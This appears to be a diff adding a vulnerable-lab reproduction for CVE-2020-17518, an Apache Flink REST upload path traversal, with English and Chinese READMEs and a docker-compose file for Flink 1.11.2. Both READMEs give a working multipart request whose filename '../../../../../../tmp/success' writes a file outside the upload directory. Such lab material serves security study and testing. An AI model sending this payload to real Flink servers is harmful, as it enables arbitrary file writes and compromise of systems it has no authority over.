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flink/CVE-2020-17518/README.md

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+# Apache Flink Upload Path Traversal (CVE-2020-17518)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+Apache Flink is an open source stream processing framework with powerful stream- and batch-processing capabilities.
+
+A vulnerability in Apache Flink 1.5.1 and later versions allows attackers to write uploaded files to arbitrary locations on the local file system through a maliciously crafted HTTP header in the REST API request. This issue is fixed in Apache Flink 1.11.3.
+
+References:
+
+- <https://github.com/apache/flink/commit/a5264a6f41524afe8ceadf1d8ddc8c80f323ebc4>
+- <https://nvd.nist.gov/vuln/detail/CVE-2020-17518>
+
+## Environment Setup
+
+Execute the following command to start an Apache Flink jobmanager 1.11.2:
+
+```
+docker compose up -d
+```
+
+After the Apache Flink service is started, visit `http://your-ip:8081` to access the management interface.
+
+## Vulnerability Reproduction
+
+Send the following HTTP request to upload a file to `/tmp/success` on the target server:
+
+```
+POST /jars/upload HTTP/1.1
+Host: localhost:8081
+Accept-Encoding: gzip, deflate
+Accept: */*
+Accept-Language: en
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
+Connection: close
+Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
+Content-Length: 187
+
+------WebKitFormBoundaryoZ8meKnrrso89R6Y
+Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success"
+
+success
+------WebKitFormBoundaryoZ8meKnrrso89R6Y--
+```
+
+After the file is uploaded, you can check the `/tmp/success` file on the target server:
+
+![](1.png)

flink/CVE-2020-17518/README.zh-cn.md

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+# Apache Flink 上传路径穿越漏洞（CVE-2020-17518）
+
+Apache Flink 是一个开源的分布式流处理和批处理大数据计算引擎。
+
+Apache Flink 1.5.1 版本引入了一个 REST handler，攻击者可以通过恶意修改 HTTP HEADER，实现将上传的文件写入到本地文件系统的任意位置。该问题在 Apache Flink 1.11.3 版本中得到修复。
+
+参考链接：
+
+- <https://github.com/apache/flink/commit/a5264a6f41524afe8ceadf1d8ddc8c80f323ebc4>
+- <https://nvd.nist.gov/vuln/detail/CVE-2020-17518>
+
+## 环境搭建
+
+执行如下命令启动一个 Apache Flink jobmanager 1.11.2：
+
+```
+docker compose up -d
+```
+
+环境启动后，访问 `http://your-ip:8081` 即可查看到 Apache Flink 的管理页面。
+
+## 漏洞复现
+
+发送如下数据包，即可上传一个文件到目标服务器的 `/tmp/success` 位置：
+
+```
+POST /jars/upload HTTP/1.1
+Host: localhost:8081
+Accept-Encoding: gzip, deflate
+Accept: */*
+Accept-Language: en
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
+Connection: close
+Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
+Content-Length: 187
+
+------WebKitFormBoundaryoZ8meKnrrso89R6Y
+Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success"
+
+success
+------WebKitFormBoundaryoZ8meKnrrso89R6Y--
+```
+
+上传成功后，即可在目标服务器上查看到 `/tmp/success` 文件：
+
+![](1.png)

flink/CVE-2020-17518/docker-compose.yml

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+services:
+ flink:
+   image: vulhub/flink:1.11.2
+   command: jobmanager
+   ports:
+    - "8081:8081"
+    - "6123:6123"